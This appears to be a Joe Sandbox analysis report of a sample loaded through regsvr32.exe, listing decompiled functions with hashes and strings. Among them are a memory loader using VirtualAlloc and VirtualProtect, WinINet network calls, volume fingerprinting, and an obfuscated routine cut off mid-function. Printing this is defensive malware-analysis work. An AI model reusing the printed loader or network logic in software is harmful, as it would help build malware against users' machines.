				if (_a1296 - 0x39 <= 0) goto 0xf9d3e9ab;
				_t218 = _a1296 + _a1220;
				_a1296 = _t218;
				 *_a64 = _a1296 & 0x000000ff;
				_a64 = _a64 - 1;
				goto 0xf9d3e90e;
				_a104 = _t218;
				_a64 = _a64 + 1;
				if ((_a80 & 0x00000200) == 0) goto 0xf9d3ea2a;
				if (_a104 == 0) goto 0xf9d3ea0b;
				if ( *_a64 == 0x30) goto 0xf9d3ea2a;
				_a64 = _a64 - 1;
				 *_a64 = 0x30;
				_a104 = _a104 + 1;
				if (_a108 != 0) goto 0xf9d3ec7c;
				if ((_a80 & 0x00000040) == 0) goto 0xf9d3ea9d;
				if ((_a80 & 0x00000100) == 0) goto 0xf9d3ea61;
				_a84 = 0x2d;
				_a92 = 1;
				goto 0xf9d3ea9d;
				if ((_a80 & 0x00000001) == 0) goto 0xf9d3ea80;
				_a84 = 0x2b;
				_a92 = 1;
				goto 0xf9d3ea9d;
				if ((_a80 & 0x00000002) == 0) goto 0xf9d3ea9d;
				_a84 = 0x20;
				_a92 = 1;
				_a1320 = _a88 - _a104 - _a92;
				if ((_a80 & 0x0000000c) != 0) goto 0xf9d3eadf;
				E000007FE7FEF9D3EEC0(0x20, _a1320, _a1536,  &_a1200);
				E000007FE7FEF9D3EF10(_a92, _a64,  &_a84, _a1536,  &_a1200);
				if ((_a80 & 0x00000008) == 0) goto 0xf9d3eb33;
				if ((_a80 & 0x00000004) != 0) goto 0xf9d3eb33;
				E000007FE7FEF9D3EEC0(0x30, _a1320, _a1536,  &_a1200);
				if (_a76 != 0) goto 0xf9d3ec29;
				if (_a104 <= 0) goto 0xf9d3ec29;
				_t354 = _a64;
				_a1328 = _t354;
				_a1336 = _a104;
				_a1336 = _a1336 - 1;
				if (_a1336 <= 0) goto 0xf9d3ec27;
				_t249 = E000007FE7FEF9D26840(_a1336,  &_a120);
				_a1496 = _t354;
				E000007FE7FEF9D26840(_t249,  &_a120);
				_a1340 = E000007FE7FEF9D3F000( &_a1212, _a1328,  *((intOrPtr*)( *_t354 + 0x10c)), _a1496);
				if (_a1340 > 0) goto 0xf9d3ebe7;
				_a1200 = 0xffffffff;
				goto 0xf9d3ec27;
				E000007FE7FEF9D3EE40(_a1212 & 0x0000ffff, _a1536,  &_a1200);
				_a1328 = _a1328 + _a1340;
				goto 0xf9d3eb61;
				goto 0xf9d3ec47;
				E000007FE7FEF9D3EF10(_a104, _a1328 + _a1340, _a64, _a1536,  &_a1200);
				if (_a1200 < 0) goto 0xf9d3ec7c;
				if ((_a80 & 0x00000004) == 0) goto 0xf9d3ec7c;
				E000007FE7FEF9D3EEC0(0x20, _a1320, _a1536,  &_a1200);
				if (_a96 == 0) goto 0xf9d3ec9c;
				0xf9d25330();
				_a96 = 0;
				goto 0xf9d3da75;
				if (_a1216 == 0) goto 0xf9d3ecc2;
				if (_a1216 == 7) goto 0xf9d3ecc2;
				_a1504 = 0;
				goto 0xf9d3eccd;
				_a1504 = 1;
				_t257 = _a1504;
				_a1344 = _t257;
				if (_a1344 != 0) goto 0xf9d3ed13;
				_t359 = L"((state == ST_NORMAL) || (state == ST_TYPE))";
				_a32 = _t359;
				r9d = 0;
				r8d = 0x8f5;
				0xf9d2b3b0();
				if (_t257 != 1) goto 0xf9d3ed13;
				asm("int3");
				if (_a1344 != 0) goto 0xf9d3ed6f;
				0xf9d2ab30();
				 *_t359 = 0x16;
				_a32 = 0;
				r9d = 0x8f5;
				E000007FE7FEF9D2BD70(L"((state == ST_NORMAL) || (state == ST_TYPE))", L"_woutput_s_l", L"f:\\dd\\vctools\\crt_bld\\self_64_amd64\\crt\\src\\output.c");
				_a1376 = 0xffffffff;
				E000007FE7FEF9D26800( &_a120);
				goto 0xf9d3ed8e;
				_a1380 = _a1200;
				E000007FE7FEF9D26800( &_a120);
				return E000007FE7FEF9D23280(_a1380, 2, 2, _a1512 ^ _t389, L"_woutput_s_l", L"f:\\dd\\vctools\\crt_bld\\self_64_amd64\\crt\\src\\output.c");
			}

0x7fef9d3e70c
0x7fef9d3e70c
0x7fef9d3e717
0x7fef9d3e72a
0x7fef9d3e731
0x7fef9d3e740
0x7fef9d3e745
0x7fef9d3e74f
0x7fef9d3e762
0x7fef9d3e768
0x7fef9d3e77b
0x7fef9d3e785
0x7fef9d3e78a
0x7fef9d3e792
0x7fef9d3e7a2
0x7fef9d3e7ac
0x7fef9d3e7b1
0x7fef9d3e7b9
0x7fef9d3e7c7
0x7fef9d3e7d2
0x7fef9d3e7e1
0x7fef9d3e7e5
0x7fef9d3e7ed
0x7fef9d3e7f7
0x7fef9d3e7ff
0x7fef9d3e807
0x7fef9d3e812
0x7fef9d3e81c
0x7fef9d3e823
0x7fef9d3e82b
0x7fef9d3e835
0x7fef9d3e83c
0x7fef9d3e84d
0x7fef9d3e858
0x7fef9d3e865
0x7fef9d3e871
0x7fef9d3e879
0x7fef9d3e87b
0x7fef9d3e883
0x7fef9d3e896
0x7fef9d3e8a3
0x7fef9d3e8b8
0x7fef9d3e8c5
0x7fef9d3e8c7
0x7fef9d3e8cf
0x7fef9d3e8d8
0x7fef9d3e8e4
0x7fef9d3e8e6
0x7fef9d3e8f7
0x7fef9d3e8f9
0x7fef9d3e909
0x7fef9d3e90e
0x7fef9d3e918
0x7fef9d3e91e
0x7fef9d3e929
0x7fef9d3e934
0x7fef9d3e957
0x7fef9d3e963
0x7fef9d3e990
0x7fef9d3e9a2
0x7fef9d3e9a4
0x7fef9d3e9b8
0x7fef9d3e9c2
0x7fef9d3e9c7
0x7fef9d3e9d9
0x7fef9d3e9e5
0x7fef9d3e9f5
0x7fef9d3e9fc
0x7fef9d3ea09
0x7fef9d3ea13
0x7fef9d3ea1d
0x7fef9d3ea26
0x7fef9d3ea2f
0x7fef9d3ea3e
0x7fef9d3ea4b
0x7fef9d3ea52
0x7fef9d3ea57
0x7fef9d3ea5f
0x7fef9d3ea6a
0x7fef9d3ea71
0x7fef9d3ea76
0x7fef9d3ea7e
0x7fef9d3ea89
0x7fef9d3ea90
0x7fef9d3ea95
0x7fef9d3eaad
0x7fef9d3eabd
0x7fef9d3eada
0x7fef9d3eaf8
0x7fef9d3eb06
0x7fef9d3eb11
0x7fef9d3eb2e
0x7fef9d3eb38
0x7fef9d3eb43
0x7fef9d3eb49
0x7fef9d3eb4e
0x7fef9d3eb5a
0x7fef9d3eb71
0x7fef9d3eb7a
0x7fef9d3eb85
0x7fef9d3eb8a
0x7fef9d3eb97
0x7fef9d3ebc9
0x7fef9d3ebd8
0x7fef9d3ebda
0x7fef9d3ebe5
0x7fef9d3ebff
0x7fef9d3ec1a
0x7fef9d3ec22
0x7fef9d3ec27
0x7fef9d3ec42
0x7fef9d3ec4f
0x7fef9d3ec5a
0x7fef9d3ec77
0x7fef9d3ec82
0x7fef9d3ec8e
0x7fef9d3ec93
0x7fef9d3ec9c
0x7fef9d3eca9
0x7fef9d3ecb3
0x7fef9d3ecb5
0x7fef9d3ecc0
0x7fef9d3ecc2
0x7fef9d3eccd
0x7fef9d3ecd4
0x7fef9d3ece3
0x7fef9d3ece5
0x7fef9d3ecec
0x7fef9d3ecf1
0x7fef9d3ecf4
0x7fef9d3ed06
0x7fef9d3ed0e
0x7fef9d3ed10
0x7fef9d3ed1b
0x7fef9d3ed1d
0x7fef9d3ed22
0x7fef9d3ed28
0x7fef9d3ed31
0x7fef9d3ed4c
0x7fef9d3ed51
0x7fef9d3ed61
0x7fef9d3ed6d
0x7fef9d3ed76
0x7fef9d3ed82
0x7fef9d3eda5

APIs

get_int64_arg.LIBCMTD ref: 000007FEF9D3E785

Strings

9, xrefs: 000007FEF9D3E988
', xrefs: 000007FEF9D3E70C

Memory Dump Source

Source File: 00000003.00000002.914136022.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.914122465.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914213417.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914223213.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914229969.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: get_int64_arg
String ID: '$9
API String ID: 1967237116-1823400153
Opcode ID: 96444a5ecc25f07181ec4491dd73a0df774b8fd8e649fad80ce219d3ce06daa6
Instruction ID: 29668378713c93b892a0041d725b85e979c1ad93fe9cb8202607dd12c91b0faa
Opcode Fuzzy Hash: 96444a5ecc25f07181ec4491dd73a0df774b8fd8e649fad80ce219d3ce06daa6
Instruction Fuzzy Hash: 0241C33660DA858AE7A18B19E8407AFB3E4F7C5752F100125E6D8C6AE8EBBDD4408F14

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D3D710 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 47COMMONLIBRARYCODE

Download Yara Rule

APIs

_unlock.LIBCMTD ref: 000007FEF9D3D7BF

Strings

_BLOCK_TYPE_IS_VALID(pHead->nBlockUse), xrefs: 000007FEF9D3D779
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\dbgdel.cpp, xrefs: 000007FEF9D3D78E

Memory Dump Source

Source File: 00000003.00000002.914136022.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.914122465.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914213417.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914223213.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914229969.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: _unlock
String ID: _BLOCK_TYPE_IS_VALID(pHead->nBlockUse)$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\dbgdel.cpp
API String ID: 2480363372-1749241151
Opcode ID: 2b49e58eed8e6e59642ee45ba138bd684622393025d622caadb7daf1159c6293
Instruction ID: 04ee9255729ef7e149dbf43242f730f4bbed3ff16cc2c5ac2558ad9c7efde415
Opcode Fuzzy Hash: 2b49e58eed8e6e59642ee45ba138bd684622393025d622caadb7daf1159c6293
Instruction Fuzzy Hash: BC113D7AA2868686EBE49B94DC41B6D63E1F780755F205035E68E43BA4CB3DE404CF01

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D41200 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 44COMMON

Download Yara Rule

APIs

_FindAndUnlinkFrame.LIBCMTD ref: 000007FEF9D4120D
_IsExceptionObjectToBeDestroyed.LIBCMTD ref: 000007FEF9D4125E

Strings

csm, xrefs: 000007FEF9D4121D

Memory Dump Source

Source File: 00000003.00000002.914136022.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.914122465.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914213417.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914223213.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914229969.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: DestroyedExceptionFindFrameObjectUnlink
String ID: csm
API String ID: 1826589669-1018135373
Opcode ID: 34ffa76e03f6f125ffde0022bc26c820041218dfec633c9b0636301340e9056d
Instruction ID: 9f3dc625307ec028be1fda2cc305f99b8c00c3b4febe2b6a2618c0b56fcdacc0
Opcode Fuzzy Hash: 34ffa76e03f6f125ffde0022bc26c820041218dfec633c9b0636301340e9056d
Instruction Fuzzy Hash: 61114232944681CADFA0DF79C8812BD27E4F795B88F615135EA5D877B1CB26D981C300

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D2F3E0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 33COMMONLIBRARYCODE

Download Yara Rule

APIs

_free_nolock.LIBCMTD ref: 000007FEF9D2F419

Strings

f:\dd\vctools\crt_bld\self_64_amd64\crt\src\malloc.h, xrefs: 000007FEF9D2F445
("Corrupted pointer passed to _freea", 0), xrefs: 000007FEF9D2F430

Memory Dump Source

Source File: 00000003.00000002.914136022.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.914122465.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914213417.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914223213.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914229969.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: _free_nolock
String ID: ("Corrupted pointer passed to _freea", 0)$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\malloc.h
API String ID: 2882679554-3458198949
Opcode ID: fcbdd2152eeca573d64b24b70be95bad50c5d4f9526249e7eb53e402592ebf7b
Instruction ID: d33f1896f8d52307a9012ea76dc3fce74adc3acb1f5112dbea688671cc213a85
Opcode Fuzzy Hash: fcbdd2152eeca573d64b24b70be95bad50c5d4f9526249e7eb53e402592ebf7b
Instruction Fuzzy Hash: 3B01F431A1C78286EBD09B6AE88576EB3D4F390350F614535E6CD43FA9DBBED4058B01

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: regsvr32.exePID: 1440, Parent PID: 204COMMON

Execution Graph

Execution Coverage:	16.2%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	4%
Total number of Nodes:	99
Total number of Limit Nodes:	14

Executed Functions

Function 004C0000 Relevance: 74.6, APIs: 4, Strings: 38, Instructions: 1094
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNEL32 ref: 004C0450
GetNativeSystemInfo.KERNEL32 ref: 004C0539
VirtualAlloc.KERNEL32 ref: 004C0580
VirtualProtect.KERNEL32 ref: 004C09E9

Strings

GetN, xrefs: 004C0136
Load, xrefs: 004C02F4
urce, xrefs: 004C0304
Load, xrefs: 004C00C8
Virt, xrefs: 004C00E0
Reso, xrefs: 004C02FC
Lock, xrefs: 004C0330
Virt, xrefs: 004C00F8
Flus, xrefs: 004C0113
Find, xrefs: 004C02D0
aryA, xrefs: 004C00D8
ncti, xrefs: 004C016A
ualA, xrefs: 004C00E8
sour, xrefs: 004C031F
ofRe, xrefs: 004C0318
Libr, xrefs: 004C00D0
Free, xrefs: 004C034D
ddFu, xrefs: 004C0163
hIns, xrefs: 004C011A
ativ, xrefs: 004C013D
Reso, xrefs: 004C02DB
lloc, xrefs: 004C00F0
onTa, xrefs: 004C0171
ualP, xrefs: 004C00FF
Size, xrefs: 004C0311
tion, xrefs: 004C0128
Reso, xrefs: 004C0355
temI, xrefs: 004C014B
Reso, xrefs: 004C0338
Cach, xrefs: 004C012F
Slee, xrefs: 004C00B7
urce, xrefs: 004C0340
rote, xrefs: 004C0106
eSys, xrefs: 004C0144
RtlA, xrefs: 004C015C
truc, xrefs: 004C0121
urce, xrefs: 004C035D
urce, xrefs: 004C02E7

Memory Dump Source

Source File: 00000004.00000002.1330728736.00000000004C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 004C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_4c0000_regsvr32.jbxd

Similarity

API ID: Virtual$Alloc$InfoNativeProtectSystem
String ID: Cach$Find$Flus$Free$GetN$Libr$Load$Load$Lock$Reso$Reso$Reso$Reso$RtlA$Size$Slee$Virt$Virt$aryA$ativ$ddFu$eSys$hIns$lloc$ncti$ofRe$onTa$rote$sour$temI$tion$truc$ualA$ualP$urce$urce$urce$urce
API String ID: 2313188843-2517549848
Opcode ID: 590c178917582490f2a8474f3428d2fdec128c188f960b73743dba758a98ecc8
Instruction ID: 599fc42b61732dcc74104514dfbd936500dc97a4b0290b66c1290289d5085523
Opcode Fuzzy Hash: 590c178917582490f2a8474f3428d2fdec128c188f960b73743dba758a98ecc8
Instruction Fuzzy Hash: BC72E874618B48CBDB59DF18C885BBAB7E1FB98305F10462EE88BC7211DB38D546CB85

Uniqueness

Uniqueness Score: -1.00%

Function 00000001800248B0 Relevance: 4.1, Strings: 3, Instructions: 366
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

bW, xrefs: 0000000180024E6B
X, xrefs: 0000000180024D6B
O}, xrefs: 0000000180024AB3

Memory Dump Source

Source File: 00000004.00000002.1331020678.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: O}$X$bW
API String ID: 0-980370356
Opcode ID: e18e412b8bd09892e521a5e3965d89a97fc604b3097fc8c53db2340d1ed33825
Instruction ID: a62d154362f2d503ef0efb6b3a203e4a1ee478d45050cbe1ab820923c54e17f6
Opcode Fuzzy Hash: e18e412b8bd09892e521a5e3965d89a97fc604b3097fc8c53db2340d1ed33825
Instruction Fuzzy Hash: AA02F4715087C88BD799CFA8C48A69EFBE1FB98744F104A1DF4868B260D7F4D949CB42

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180006B24 Relevance: 4.0, Strings: 3, Instructions: 284
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

"Gd, xrefs: 0000000180006E8F
C2, xrefs: 0000000180006EBC
HG, xrefs: 0000000180006E14

Memory Dump Source

Source File: 00000004.00000002.1331020678.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: "Gd$C2$HG
API String ID: 0-142661339
Opcode ID: 9dab0733114c64659f8f05551e608b0018560ea730d37400ebf1bc7fe80e5bb8
Instruction ID: f3040b85d87bafdcd4b0814e46a5c4b4479db0c4bbfe4c952327208bca537128
Opcode Fuzzy Hash: 9dab0733114c64659f8f05551e608b0018560ea730d37400ebf1bc7fe80e5bb8
Instruction Fuzzy Hash: 20C112719047CD8FDB89CFA8C88A6ED7BB1FB48354F104229F80697660DBB4D949CB81

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180006F2C Relevance: 2.7, Strings: 2, Instructions: 185COMMON

Download Yara Rule

Strings

e##, xrefs: 0000000180007141
$!, xrefs: 00000001800070F4

Memory Dump Source

Source File: 00000004.00000002.1331020678.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: $!$e##
API String ID: 0-2900154246
Opcode ID: c6b9a8fabe697f5b2ca67d9c03e63fc4ca39ad07d0e3d1e241ff45a68ef3815c
Instruction ID: 216da8bcfa57d9aa83ad41f20fe658cab1eb670466840fb7186bd91b9371edf3
Opcode Fuzzy Hash: c6b9a8fabe697f5b2ca67d9c03e63fc4ca39ad07d0e3d1e241ff45a68ef3815c
Instruction Fuzzy Hash: 7B8190705187889BD7E8DF14C4C979EBBE1FB98344F905A1CF89A8B261CB74C948CB42

Uniqueness

Uniqueness Score: -1.00%

Function 000000018002446C Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 61
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InternetOpenW.WININET ref: 0000000180024567

Strings

&J@, xrefs: 00000001800244C7
Va, xrefs: 000000018002452C
Z*, xrefs: 00000001800244B6

Memory Dump Source

Source File: 00000004.00000002.1331020678.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID: InternetOpen
String ID: &J@$Va$Z*
API String ID: 2038078732-1197100596
Opcode ID: 66813e264fa1cc35a44db824818c230c237c196eb5c6617bb8c0918fb9f82c0e
Instruction ID: 28a15b3c09fe6a2aa9f5eb42736a691d582ff290fd3432c8dba93e18a197623f
Opcode Fuzzy Hash: 66813e264fa1cc35a44db824818c230c237c196eb5c6617bb8c0918fb9f82c0e
Instruction Fuzzy Hash: 8A212F715187898FD3A8DF28C0493ABB7E1FB98319F408A1DE4CAC6391DB799448CB06

Uniqueness

Uniqueness Score: -1.00%

Function 000000018001BF0C Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 90
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileW.KERNEL32 ref: 000000018001C04A

Strings

`/, xrefs: 000000018001BFA5

Memory Dump Source

Source File: 00000004.00000002.1331020678.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID: CreateFile
String ID: `/
API String ID: 823142352-1163903809
Opcode ID: 9329703c180bff9c13a57ad2c9d4e17d6ae624210817fa9d3c733bf06a68d3a6
Instruction ID: f11eb3e7a352e1f1819d3b1e5829977cbaca57bf71308e5d5317c3bcacfeb84e
Opcode Fuzzy Hash: 9329703c180bff9c13a57ad2c9d4e17d6ae624210817fa9d3c733bf06a68d3a6
Instruction Fuzzy Hash: 6C3137B061CB848FD364DF18D48579ABBE0FB88314F504A2EE88DC3362DB749845CB86

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180016500 Relevance: 1.6, APIs: 1, Instructions: 95networkCOMMON

Download Yara Rule

APIs

InternetConnectW.WININET ref: 0000000180016662

Memory Dump Source

Source File: 00000004.00000002.1331020678.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID: ConnectInternet
String ID:
API String ID: 3050416762-0
Opcode ID: 696bad1b1d1373c4a188d8be72565791f44f69a250ba4c3bd44038e3e2a3a9cf
Instruction ID: 6bd4319daaf70d9cfa93cd172db4ac0144cd1887b423fd46bbb7d9a578168b32
Opcode Fuzzy Hash: 696bad1b1d1373c4a188d8be72565791f44f69a250ba4c3bd44038e3e2a3a9cf
Instruction Fuzzy Hash: 8C41F7705087848FC7B8DF58D48579ABBE0FB98315F108A5EE48DD7361DB749884CB86

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180017BF8 Relevance: 1.6, APIs: 1, Instructions: 93COMMON

Download Yara Rule

APIs

GetVolumeInformationW.KERNEL32 ref: 0000000180017D42

Memory Dump Source

Source File: 00000004.00000002.1331020678.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID: InformationVolume
String ID:
API String ID: 2039140958-0
Opcode ID: 1949fae2aaba8b4119d5023be7d4790b480e02f5c580bad52ddd601b650acc4f
Instruction ID: e87697cfd510fd4059a611545946932b1d04e28e1a34b551021fd5cd6805f499
Opcode Fuzzy Hash: 1949fae2aaba8b4119d5023be7d4790b480e02f5c580bad52ddd601b650acc4f
Instruction Fuzzy Hash: AB31E770618B888FD7B8CF68D4857AAB7E1FB89315F508A1EE48DC7251CB749845CB43

Uniqueness

Uniqueness Score: -1.00%

Function 00000001800149CC Relevance: 1.6, APIs: 1, Instructions: 91networkCOMMON

Download Yara Rule

APIs

HttpOpenRequestW.WININET ref: 0000000180014B07

Memory Dump Source

Source File: 00000004.00000002.1331020678.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID: HttpOpenRequest
String ID:
API String ID: 1984915467-0
Opcode ID: 2abca7ab27ce1f38676343e57d0af3d26f331b1f8e41c5eb7387a3a1acb3ccf2
Instruction ID: c8d36c456ba033a28ec6fbd746a54a3663befea28eedef4c15a9fc959fe4c155
Opcode Fuzzy Hash: 2abca7ab27ce1f38676343e57d0af3d26f331b1f8e41c5eb7387a3a1acb3ccf2
Instruction Fuzzy Hash: D331607050CB848BE7B4DF08D4C9B9AB7E0FB98315F108A4DE48DD7296CB789484CB46

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180011EF8 Relevance: 1.6, APIs: 1, Instructions: 88threadCOMMON

Download Yara Rule

APIs

CreateThread.KERNEL32 ref: 000000018001202C

Memory Dump Source

Source File: 00000004.00000002.1331020678.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID: CreateThread
String ID:
API String ID: 2422867632-0
Opcode ID: 43f2add25367f37c20804a12f5309876908a740bd4f725cbfb4cce081a5c4e54
Instruction ID: 87f7a9be59381a5b3d954798ed335bb6745bcd8ebd0cdd375d804fe942fcfa66
Opcode Fuzzy Hash: 43f2add25367f37c20804a12f5309876908a740bd4f725cbfb4cce081a5c4e54
Instruction Fuzzy Hash: 7A312B7160CB848FDBA8DF18E48579AB7E1FB98314F10465EE88CC7396DB309984CB46

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: regsvr32.exePID: 2176, Parent PID: 1396COMMON

Execution Graph

Execution Coverage:	7.4%
Dynamic/Decrypted Code Coverage:	2.5%
Signature Coverage:	0%
Total number of Nodes:	1707
Total number of Limit Nodes:	20

Executed Functions

Function 000007FEF74E1964 Relevance: 522.6, APIs: 14, Strings: 283, Instructions: 2832
memorywindowCOMMONCrypto

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 50%

			E000007FE7FEF74E1964() {
				void* _t1421;
				void* _t1645;
				void* _t1650;
				signed long long _t1651;
				signed long long _t1652;
				long long _t1653;
				void* _t1870;
				void* _t2526;
				long long _t2744;
				long long _t2746;
				void* _t2748;
				intOrPtr* _t2749;
				void* _t2750;
				signed long long _t2751;
				void* _t2755;
				void* _t2756;
				void* _t2757;
				void* _t2758;

				_t1650 = _t2750;
				 *((long long*)(_t1650 + 0x10)) = _t1653;
				 *((long long*)(_t1650 + 0x18)) = _t2746;
				 *((long long*)(_t1650 + 0x20)) = _t2744;
				_t2749 = _t1650 - 0xb48;
				_t2751 = _t2750 - 0xc20;
				_t1651 =  *0xf7500610; // 0x6ed74697e533
				_t1652 = _t1651 ^ _t2751;
				 *(_t2749 + 0xb10) = _t1652;
				_t2745 = _t1870;
				if (_t1645 != 0) goto 0xf74e5639;
				 *((intOrPtr*)(_t2751 + 0x50)) = 0x650efe0a;
				 *((intOrPtr*)(_t2751 + 0x54)) = 0x1360335d;
				 *((intOrPtr*)(_t2751 + 0x58)) = 0x7639130e;
				r15d = 0;
				 *((intOrPtr*)(_t2751 + 0x5c)) = 0x72000339;
				 *((intOrPtr*)(_t2751 + 0x60)) = 0xfdb86107;
				 *((intOrPtr*)(_t2751 + 0x64)) = 0xbd887a24;
				 *((intOrPtr*)(_t2751 + 0x68)) = 0xdfe71dbe;
				r13d = _t2526 + 0x6d;
				 *((intOrPtr*)(_t2751 + 0x6c)) = 0x6d52588d;
				 *((intOrPtr*)(_t2751 + 0x70)) = 0x1385ac04;
				 *((intOrPtr*)(_t2751 + 0x74)) = 0x50293b3b;
				 *((intOrPtr*)(_t2751 + 0x78)) = 0x9ec94c51;
				 *((intOrPtr*)(_t2751 + 0x7c)) = 0x2410c80a;
				 *((intOrPtr*)(_t2749 - 0x80)) = 0x17d08c00;
				 *((intOrPtr*)(_t2749 - 0x7c)) = 0xfe57f27;
				r14d = _t2526 + 0x64;
				 *((intOrPtr*)(_t2749 - 0x78)) = 0x64d97b7e;
				 *((intOrPtr*)(_t2749 - 0x74)) = 0xf891935;
				 *((intOrPtr*)(_t2749 - 0x70)) = 0x14cc064f;
				 *((intOrPtr*)(_t2749 - 0x6c)) = 0x14cc7b03;
				 *((intOrPtr*)(_t2749 - 0x68)) = 0x21be252a;
				 *((intOrPtr*)(_t2749 - 0x64)) = 0x1dba1e72;
				 *((intOrPtr*)(_t2749 - 0x60)) = 0x8dd87d09;
				 *((intOrPtr*)(_t2749 - 0x5c)) = 0x414277c2;
				 *((intOrPtr*)(_t2749 - 0x58)) = 0x157eef1d;
				 *((intOrPtr*)(_t2749 - 0x54)) = 0x6f20db11;
				 *((intOrPtr*)(_t2749 - 0x50)) = 0x531bcb24;
				 *((intOrPtr*)(_t2749 - 0x4c)) = 0x3978a018;
				 *((intOrPtr*)(_t2749 - 0x48)) = 0x323acb48;
				 *((intOrPtr*)(_t2749 - 0x44)) = 0x732bdc27;
				 *((intOrPtr*)(_t2749 - 0x40)) = 0x491ed023;
				 *((intOrPtr*)(_t2749 - 0x3c)) = 0xca51d517;
				 *((intOrPtr*)(_t2749 - 0x38)) = 0xbd6ded8c;
